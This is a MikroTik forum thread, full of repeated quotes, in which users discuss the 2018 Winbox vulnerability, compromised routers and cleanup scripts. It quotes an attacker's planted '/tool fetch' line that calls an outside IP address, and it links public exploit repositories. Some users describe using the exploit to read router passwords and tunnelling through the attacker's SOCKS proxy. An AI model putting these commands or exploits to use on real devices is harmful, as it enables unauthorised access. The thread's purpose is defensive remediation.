@normis, hey can you get this on the blog? I'd like the see any complainers cut off at the pass that this announcement didn't end up in the right spots.

@normis, hey can you get this on the blog? I'd like the see any complainers cut off at the pass that this announcement didn't end up in the right spots.

On forum posts if the subject line doesn't interest me, I would never read it.

On forum posts if the subject line doesn't interest me, I would never read it.

It is like: I do not like this song as I have never listened to it earlier and the title is boring me.

Hi Normis,

what you wrote above may look for someone that 6.40.8 (bugfix) is not secure too. I would like you mention that this bugfix release is secure too (blog needs correction too but it mention that 6.40.8 is OK at least).

What's new in 6.40.8 (2018-Apr-23 11:34):

!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;

This vulnerablity is from 6.28. I try it:
https://github.com/BigNerd95/WinboxExploit
https://github.com/BasuCert/WinboxPoC

Personally I leave ssh open but that's the only thing and I really hope that doesn't get hacked...

Hopefully the userdb (and every bit doing anything with passwords in ROS) gets hashes for passwords from now on, and hopefully a modern one.

According to changelog it is fixed

What's new in 6.40.8 (2018-Apr-23 11:34):

!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;

Hopefully the userdb (and every bit doing anything with passwords in ROS) gets hashes for passwords from now on, and hopefully a modern one.

From "now on"? Really? Like stated repeatedly, this has been fixed a long time ago. This is just a reminder AGAIN to please upgrade, where all these things are fixed.

...Yes, from "now on". Figuratively speaking - a few months is almost nothing when you have hundreds of thousands of devices out in the wild. As others already mentioned, do not expect people to promptly install your 0-day fix (as I recon, there were some communication glitches along the way, too). I still see neighborhood MT devices on way old versions in DCs around the globe....

Figuratively asking: Are you saying that Mikrotik has hundreds of thousands devices? No, users are owners of them.

Should Mikrotik call/inform each user/owner and "persude" to upgrade? What if user says NO? What if admins in DC ignore such info?

I'm not "advocatus diaboli" of Mikrotik but you should apply right measure to the problem.

If car company makes mistake in a car it calls people to service point but someone ignoring this call will be using bad car forever.
If food company needs to collect some "bad" food from market, in spite of problems in production process, it is imposible to persudae anyone to return it. All owners could be asked to return but nothing more.

It all depends on users/owners will !!!

I'm not "advocatus diaboli" of Mikrotik but you should apply right measure to the problem.

Once again:

I'm not "advocatus diaboli" of Mikrotik but you should apply right measure to the problem.

OK. There was a problem spotted and repaired ... a lot of programs/devices had, have and will have them ... period.

The problem is/was resolved ... time to apply cure. IF YOU WANT. If not ... stop blaming Mikrotik again and again for the past.

Since the attacker is inserting his script into the targeted routers and changing configuration in them, we recommend to carefully inspect the configuration of your device, restore it from verified backups or export files, and follow generic advice in the above links.

Since the attacker is inserting his script into the targeted routers and changing configuration in them, we recommend to carefully inspect the configuration of your device, restore it from verified backups or export files, and follow generic advice in the above links.

What sorts of changes are being made?
Are there particular modifications that might be indicative in a config?
Can we see some examples?
Many thanks.

So what about version 6.40.8, is vulnerable or not? Could somebody from Mikrotik finally confirm it?

So what about version 6.40.8, is vulnerable or not? Could somebody from Mikrotik finally confirm it?

• For every vulnerability (even the smallest one) create a CVE number with dates, short description etc.
• If the vulnerability is critical, create an IPS/IDS (Snort or similar) rules so the people can protect themselves before they can upgrade all of the infrastructure.
• Create Security sub-forum where people can ask related questions and take advices (I've seen a lot of MikroTik Wireless and Routing gurus that don't have enough security awareness).
• Create Security mailing list (the Blog you created is a nice step forward, but this is useful for "post event summary" and maybe not exactly for urgent security advisories).
• Publish some security bug-bounty program and rewards - this way the chances are bigger that the security vulnerabilities will be reported to you and not sold on the DarkWeb or used by bad guys.

i have found one of my customers router infected. How can i clean it remote?
I have changed the socks port to default and diabled. I have not found another user like admin. The passwort is changed. But in the files are the mikrotik.php. If i delete this, after 5 seconds its new.
Firmware now is 6.42.6. Its a HaP Lite. Winbox in Services is diabled, only Web over Port 80 is active and blocked from outside on my core router.

Thanks

43north ... you are using our forum ... you are posting ... why have you not upgraded your router earlier even you have had (I suppose) knowledge of the problem?

Honestly I had never read the announcements section of the forum, I do now......

Honestly I had never read the announcements section of the forum, I do now......

43north ... please do not take it personally but this is quotation of the month ... maybe even of the year.

43north ... you are using our forum ... you are posting ... why have you not upgraded your router earlier even you have had (I suppose) knowledge of the problem?

Honestly I had never read the announcements section of the forum, I do now...... and will from here on out. My ignorance cost me, I know. Never again.

I appreciate any feedback anyone reference my post.

• ...
• Create Security mailing list (the Blog you created is a nice step forward, but this is useful for "post event summary" and maybe not exactly for urgent security advisories).
  ...

I made this to look for the common stuff. (Copy and paste into terminal.)
...
Open you log and look at the results. If you have a result with "!" you might have a problem.

# Firewall auto-fix - dangerous if you had disabled drop rules before infection (can't imagine why, though)
:if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Firewall drop rules were disabled"; /ip firewall filter enable [find action=drop]}
:if ([:len [/ip firewall filter find chain=input action=accept dst-port="8291"]] > 0) do={:put "Winbox had default firewall accept rule";/ip firewall filter remove [find chain=input action=accept dst-port="8291"]}
# Use this if you need to check firewall rules manually
:if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Disabled firewall drop rules:"; /ip firewall filter print where  action=drop disabled}
# Winbox
:if ([/ip service get winbox disabled] != true) do={:put "Winbox was enabled"; /ip service disable winbox}
# Socks
:if ([/ip socks get port] != 1080) do={:put "Socks Port was not 1080"; /ip socks set port=1080}
:if ([/ip socks get enabled] != false) do={:put "Socks was enabled"; /ip socks set enabled=no}
:if ([:len [/ip socks access find src-address~"95.154.216.128"]] > 0) do={:put "ip socks access had rule for 95.154.216.128"; /ip socks access remove [find src-address~"95.154.216.128"]}
# Script and scheduler
:if ([:len [/system script find source~"ikrotik.php"]] > 0) do={:put "Script containing \"ikrotik.php\" found"; :foreach s in=[/system script find source~"ikrotik.php"] do={/system scheduler remove [find on-event~[/system script get $s name]]}; /system script remove [find source~"ikrotik.php"]}
# File mikrotik.php
:if ([:len [/file find name="mikrotik.php"]] + [:len [/file find name="Mikrotik.php"]] > 0) do={ :put "File [Mm]ikrotik.php was found"; /file remove [find name="mikrotik.php"]; /file remove [find name="Mikrotik.php"];}
# User "service"
:if ([:len [/user find name="service"]] > 0) do={:put "User \"service\" existed"; /user remove [find name="service"]}

Mikrotik has room improve also with the blog...

Thats it! THX!

In scripts are

Code: Select all

/tool fetch address=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http

Mikrotik has room improve also with the blog...

Rhetorical question: Why people needs blogs, tweets or Facebook messages to feel beeing informed well?

I made this to look for the common stuff. (Copy and paste into terminal.)
...
Open you log and look at the results. If you have a result with "!" you might have a problem.

That's not really usable, is it? Besides, you still need to fix it, and upgrade afterwards.
Methinks, better to check and fix at the same time:

Code: Select all

# Firewall auto-fix - dangerous if you had disabled drop rules before infection (can't imagine why, though)
:if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Firewall drop rules were disabled"; /ip firewall filter enable [find action=drop]}
:if ([:len [/ip firewall filter find chain=input action=accept dst-port="8291"]] > 0) do={:put "Winbox had default firewall accept rule";/ip firewall filter remove [find chain=input action=accept dst-port="8291"]}
# Use this if you need to check firewall rules manually
:if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Disabled firewall drop rules:"; /ip firewall filter print where  action=drop disabled}
# Winbox
:if ([/ip service get winbox disabled] != true) do={:put "Winbox was enabled"; /ip service disable winbox}
# Socks
:if ([/ip socks get port] != 1080) do={:put "Socks Port was not 1080"; /ip socks set port=1080}
:if ([/ip socks get enabled] != false) do={:put "Socks was enabled"; /ip socks set enabled=no}
:if ([:len [/ip socks access find src-address~"95.154.216.128"]] > 0) do={:put "ip socks access had rule for 95.154.216.128"; /ip socks access remove [find src-address~"95.154.216.128"]}
# Script and scheduler
:if ([:len [/system script find source~"ikrotik.php"]] > 0) do={:put "Script containing \"ikrotik.php\" found"; :foreach s in=[/system script find source~"ikrotik.php"] do={/system scheduler remove [find on-event~[/system script get $s name]]}; /system script remove [find source~"ikrotik.php"]}
# File mikrotik.php
:if ([:len [/file find name="mikrotik.php"]] + [:len [/file find name="Mikrotik.php"]] > 0) do={ :put "File [Mm]ikrotik.php was found"; /file remove [find name="mikrotik.php"]; /file remove [find name="Mikrotik.php"];}
# User "service"
:if ([:len [/user find name="service"]] > 0) do={:put "User \"service\" existed"; /user remove [find name="service"]}

I even made a bash script, since I needed to fix several dozen routers.
https://pastebin.com/GAtA2mZa

Thats it! THX!

In scripts are

Code: Select all

/tool fetch address=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http

Does anyone have the contents of the payload they can post? I've tried hitting the above but it's 404ing now.

Thanks

It's disappointing that both the httpd vulnerability

It's disappointing that both the httpd vulnerability

We did fix and send on day one.

According to changelog it is fixed

What's new in 6.40.8 (2018-Apr-23 11:34):

!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;

So why would they post this again if it was fixed in April?

According to changelog it is fixed

What's new in 6.40.8 (2018-Apr-23 11:34):

!) winbox - fixed vulnerability that allowed to gain access to an unsecured router;

So why would they post this again if it was fixed in April?

do you can read ?

Versions that include a fix: 6.40.8 [bugfix] or 6.42.1 [current] released on 25-mar-2018

We have added more details, so that it is more clear:

https://blog.mikrotik.com/security/winb ... ility.html

We have added more details, so that it is more clear:
https://blog.mikrotik.com/security/winb ... ility.html

Well, the linked blog does include this information

Versions that include a fix: 6.40.8 [bugfix] or 6.42.1 [current] released on 25-mar-2018

We have added more details, so that it is more clear:

https://blog.mikrotik.com/security/winb ... ility.html

We have added more details, so that it is more clear:

https://blog.mikrotik.com/security/winb ... ility.html

thanks, it is much more clear now. Except that the 6.28 version is vulnerable too. I am able to read usernames/passwords from boards with this version using winbox vulnerability exploit code...

We will try to make numbers for any next vulnerability, if such would be discovered.

Is there anymore detailed information than the old blog post? I've seen numerous routers running 6.40.8 bugfix get compromised in the last few days. Winbox was externally accessible. On Friday I updated a couple older routers that had not yet been compromised that weren't on 6.40.8 to 6.40.8, only too find those routers compromised today.

I've now updated nearly everything to 6.42.6 current and restricted 8291 to only the range of external IPs that need access, and so far I haven't seen any re-compromised routers.

Is there anymore detailed information than the old blog post? I've seen numerous routers running 6.40.8 bugfix get compromised in the last few days. Winbox was externally accessible. On Friday I updated a couple older routers that had not yet been compromised that weren't on 6.40.8 to 6.40.8, only too find those routers compromised today.

The conclusion that your routers were not compromised prior to the upgrade to 6.40.8 is invalid. The correct conclusion is that there was no *apparent* indication of compromise. I'll bet you didn't change the admin passwords when you upgraded to 6.40.8. Is that correct? Assuming no password change, someone connected to your router some time ago and downloaded the admin credentials. They only recently logged in and changed your configuration.

I've now updated nearly everything to 6.42.6 current and restricted 8291 to only the range of external IPs that need access, and so far I haven't seen any re-compromised routers.

Restricting admin access to only known good source IPs is a good practice. You could also look at port knocking if you need more flexibility.

When they updated they didn't change the password.

Tippenring.

I was agreeing with you. The logs were proof that 2 different attackers had the password from before the upgrade

I have one remote router (CCR1009 v6.40.7) which infected with "sys" virus/spyware version 30RC9 on 2Aug. This spyware lock my "admin" account to readonly and create "sys account as full read/write policy and also lock the allowed address login from 127.0.0.1 only. The script also change the time of reformat-hold-button+reformat-hold-button-max in every second
I use the exploit which can get the "sys" password but I don't know how to login to router and reset them to factory configuration. Can I use the serial port to console login or need to reset nand gate chip?
https://ibb.co/gsfc0e
https://ibb.co/nHDKwK
https://ibb.co/d0RuVe
https://ibb.co/b44RbK
https://ibb.co/cww03z

I have one remote router (CCR1009 v6.40.7) which infected with "sys" virus/spyware version 30RC9 on 2Aug. This spyware lock my "admin" account to readonly and create "sys account as full read/write policy and also lock the allowed address login from 127.0.0.1 only. The script also change the time of reformat-hold-button+reformat-hold-button-max in every second
I use the exploit which can get the "sys" password but I don't know how to login to router and reset them to factory configuration. Can I use the serial port to console login or need to reset nand gate chip?
https://ibb.co/gsfc0e
https://ibb.co/nHDKwK
https://ibb.co/d0RuVe
https://ibb.co/b44RbK
https://ibb.co/cww03z

1) Wait, so you have the "sys" password? What is it? I think it will be useful for others to find out too.
2) Just log in with Winbox username "sys" and the password that you found. What is the question?

The title of this thread is some misleading:
Winbox vulnerability: please upgrade
It looks like Winbox is the problem, not the RouterOS.
It does not help to upgrade the Winbox

vulnerability in the RouterOS Winbox service, that was patched in RouterOS

Steps to be taken: Upgrade RouterOS to the latest release

- Implement a good firewall according to the article here: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

/ip service set winbox address=192.168.88.0/24

- Implement a good firewall according to the article here: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

When you setup a default NAT, it looks like that all service port are blocked from the outside.
Do I still need to specify for where Windbox should be allowed?

Code: Select all

/ip service set winbox address=192.168.88.0/24

I only have two user on the net, me and my wife

Also when I do secure http and winbox services using IP, I can not see any log from the RouterOS that someone not on that IP(range) tries to log inn. This should be logged as I can do with a normal FW/Nat/Mangle rule. I would then be able to see if my security upgrade does help me!!

/ip firewall filter add chain=input src-address=!192.168.88.0/24 proto=tcp dst-port=8291 action=passthrough log=yes log-prefix="Winbox External Probe" place-before=1

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)

Code: Select all

/ip firewall filter add chain=input src-address=!192.168.88.0/24 proto=tcp dst-port=8291 action=passthrough log=yes log-prefix="Winbox External Probe" place-before=1

That would give you a counter and log entry

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)

If you haven't figured it out yet, you could try connecting to 127.0.0.1 on your router using the socks service which has probably been enabled on your device by the attacker. That assumes you've already hacked the 'sys' user's password.

Now I can remote login to the infected router with user "sys" via SOCK

Thats it! THX!

In scripts are

Code: Select all

/tool fetch address=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http

Does anyone have the contents of the payload they can post? I've tried hitting the above but it's 404ing now.

Thanks

I grabbed the PHP file before fixing my router. I opened it with notepad and it was completely blank......

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)

If you haven't figured it out yet, you could try connecting to 127.0.0.1 on your router using the socks service which has probably been enabled on your device by the attacker. That assumes you've already hacked the 'sys' user's password.

It was empty where I checked, too. It's possibly just a presence indicator in the swarm for the C&C as you also mentioned...

Is he trying to use Winbox to connect

how would you route a Winbox connection through a socks proxy?

Is he trying to use Winbox to connect

No idea, but possible.

how would you route a Winbox connection through a socks proxy?

I assume that's a rhetorical question.

2. I have try to login to remote mikrotik with that password but no success so I think the problem come from the hacker allow only IP 127.0.0.1 to login with "sys" account.
And the hacker use script to disable hard reset, so I just ask can I use the serial cable to login. (infected router is still locate on other place)

If you haven't figured it out yet, you could try connecting to 127.0.0.1 on your router using the socks service which has probably been enabled on your device by the attacker. That assumes you've already hacked the 'sys' user's password.

Smart idea. Is he trying to use Winbox to connect and if so how would you route a Winbox connection through a socks proxy?

Winbox do not fetch DLLS for quite some time now. Do not use old winbox.

Hi.

When will you backport this vulnerability patches to the mipsle branch ? I want to upgrade our RB532's, RB133's every time, when I read this security warnings, but no .npk available.

Best regards: CsXen

from 6.29

How do you recover from this attack? We have 40 Dynadishes that are not responding to Winbox. They do respond partially on port 80, but act strangely. No SSL or telnet was enabled on these CPE's , so that approach is out. Any suggestions?

They do respond partially on port 80, but act strangely.

They do respond partially on port 80, but act strangely.

What do you mean by that?

How do you recover from this attack? We have 40 Dynadishes that are not responding to Winbox. They do respond partially on port 80, but act strangely. No SSL or telnet was enabled on these CPE's , so that approach is out. Any suggestions?

You could use netinstall to reinstall them.
See: https://wiki.mikrotik.com/wiki/Manual:Netinstall

Other than that, you might get better help if you send an e-mail to support.
See: https://mikrotik.com/support

When will you backport this vulnerability patches to the mipsle branch ? I want to upgrade our RB532's, RB133's every time, when I read this security warnings, but no .npk available.

The v5 releases are NOT AFFECTED AT ALL. Quote from first post:

from 6.29

They do respond partially on port 80, but act strangely.

What do you mean by that?

They are responding normally on port 80 now that I've put them behind a NAT, which I think should cut off access by the hacker. But, the username and/or password has been changed. Seems like there was a "service" entry in the users placed by the hack. Anyone know what the password is for that account?

More after hacking away. Most of them respond on port 80, and able to upgrade, turn off SOCKS, remove service user and change password. About 1/4 of them don't respond, indicate wrong user/pass, or show an error on the webpage. Noticed that the webserver from some are trying to place malicious code.

If the hacker has left the devices with old software, u can use the same Holes to get the set passwort, there are some Python scripts avaible for proof of concept.....

Has anyone documented exactly what the hack does? Is it possible to expunge it completely without overwriting the device with a new clean restore file? When it comes to CPEs, the wireless interface precludes doing this remotely, as it's MAC doesn't match up with the MAC that the clean restore was generated on.

BTW, MT, feel free to jump in here. Perhaps some software to clean the attack off of infected devices?

Script was pointing at /mikrotik.php file, but as far as I can tell, it was empty. Possibly it was removed from attacker's server before I managed to check it or it was not used yet.

Hello, everyone. I have some ROS 5.26 still running for some reasons. Does this vulnerability affect 5.26?

keep in mind that it's a PHP which gets executed on web server. It could well be that the point of that script on server is to receive data about owned router and after it processes the data (the most important is router's public IP address), it just returns empty page of type text/plain

If the hacker has left the devices with old software, u can use the same Holes to get the set passwort, there are some Python scripts avaible for proof of concept.....

Problem is that of the Dynadishes that are the hard nuts to crack (ie; not responding to Winbox as it's disabled by the hack, http doesn't work enough to get in, ssh and telnet turned off), there's no remote access to work with.

aug/22 21:20:24 system,info socks acl entry added by admin
aug/28 00:51:27 system,info item changed by admin

One interesting thing I noted was that the only routers I found compromised were also routers running additional services or with NAT rules exposing services. I'm guessing they didn't scan for 8291, they instead scanned for something else to build the list of IPs to target. every single router that was otherwise locked down without any services beside 8291 exposed regardless of build number remained uncompromised. Might just be a coincidence, but was worth noting.

If you're curious how the bug works, this article is a good read:
https://n0p.me/winbox-bug-dissection/

If you're curious how the bug works, this article is a good read:
https://n0p.me/winbox-bug-dissection/

This article respectively the new vulnerability CVE-2018-14847 makes me afraid of using any mikrotik product anymore

Boris, did you read the first post in this thread? Did you read the blog entry?
https://blog.mikrotik.com/security/winb ... ility.html

This article respectively the new vulnerability CVE-2018-14847 makes me afraid of using any mikrotik product anymore

There is no new vulnerability, it is all the same old. It is in one of the first sentences of that article.

MAJOR CHANGES IN v6.42.7:
----------------------
!) security - fixed vulnerabilities CVE-2018-1156, CVE-2018-1157, CVE-2018-1158, CVE-2018-1159;
----------------------

...
This article respectively the new vulnerability CVE-2018-14847 makes me afraid of using any mikrotik product anymore

Currently heise.de writes about attacks on Mikrotik-Devices. Maybe you can correct something on the part of Mikrotik,
because the news does not sound good.

https://www.heise.de/security/meldung/S ... 55288.html

I deeply disappointed by Heise to not investigated further for them selves and inquire with Mikrotik. I had high regarded for Heise as a reliable and trustworthy news source.

That they neglected the bugfix version and declared any version below 6.42.x as unsafe. That Heise made this blunder is shocking.

They have now made an update in the news item to correct some errors made by them.

Update: in the update seems that Mikrotik have no love for the bugfixed version because it is not mentioned at all! Be complete in your communications! I keep repeating that.

I still believe Mikrotik's default configuration is too weak for the majority of their lazy/inexperienced customers, therefore I'd suggest to ship future ROS releases in Fortknox-mode by default.

I still believe Mikrotik's default configuration is too weak for the majority of their lazy/inexperienced customers, therefore I'd suggest to ship future ROS releases in Fortknox-mode by default.

Be more specific what exactly is not secure? Default firewall is as secure as it can be, only ICMP is allowed on WAN port.

I still believe Mikrotik's default configuration is too weak for the majority of their lazy/inexperienced customers, therefore I'd suggest to ship future ROS releases in Fortknox-mode by default.

Be more specific what exactly is not secure? Default firewall is as secure as it can be, only ICMP is allowed on WAN port.

The problem is upgrading say 6-year old RBs. FW rules don't get updated even if user never touched those. And 6-year old firewall rules are not that safe. I have no idea how to automatically upgrade firewall rules when better defaults in ROS exist.

unless they have a time machine (and you guys don't, right?).

6 year old default firewall rules aren't secure enough? What do you expect MikroTik to do about that now?
MikroTik already updated the default firewall rules more than a year ago.
They can't change how they made stuff 6 years ago unless they have a time machine (and you guys don't, right?).

If you want the newer default firewall rules, you just take a spare router, upgrade it to the latest RouterOS version, reset the configuration to default, and then you just copy the firewall rules from it onto your older routers.
You can also reset your router to the newer default configuration and then build a new configuration up around that.
Or even better, read the manual about how to secure your router: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

ROS is that old default settings

unless they have a time machine (and you guys don't, right?).

We are working on it.

Actually old firewall protected router just fine. Users ef-ed up configuration and did not adjust firewall accordingly.
Of course we will think about improvements, but there will always be the case when somebody change something and complain that router is not secure.

Actually old firewall protected router just fine. Users ef-ed up configuration and did not adjust firewall accordingly.
Of course we will think about improvements, but there will always be the case when somebody change something and complain that router is not secure.

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3

@msatter: Is it joke or not?

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3

Without knowing exactly what you had configured on it, it is hard to know what was and wasn't possibly.
Also if you didn't change your password after upgrading, anyone that may have exploited your router before you upgraded might still have access.

I suggest you email support@mikrotik.com (see), they will be able to look through your configuration and see if it is a configuration issue or a software bug.

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3

Without knowing exactly what you had configured on it, it is hard to know what was and wasn't possibly.
Also if you didn't change your password after upgrading, anyone that may have exploited your router before you upgraded might still have access.

I suggest you email support@mikrotik.com (see), they will be able to look through your configuration and see if it is a configuration issue or a software bug.

Even if he knows the password BUT the service is LIMITED to my ip prefixes, how the hell he can control my device?!
The only way is this possible, if Mikrotik made the service check connecting IP address AFTER authentication.

If the services does NOT allow connection from anybut but listed IPs, the packets from unlisted source should not access the application. I think.
Please fixme, or accept that there is another piece of sh!t found in the pancake...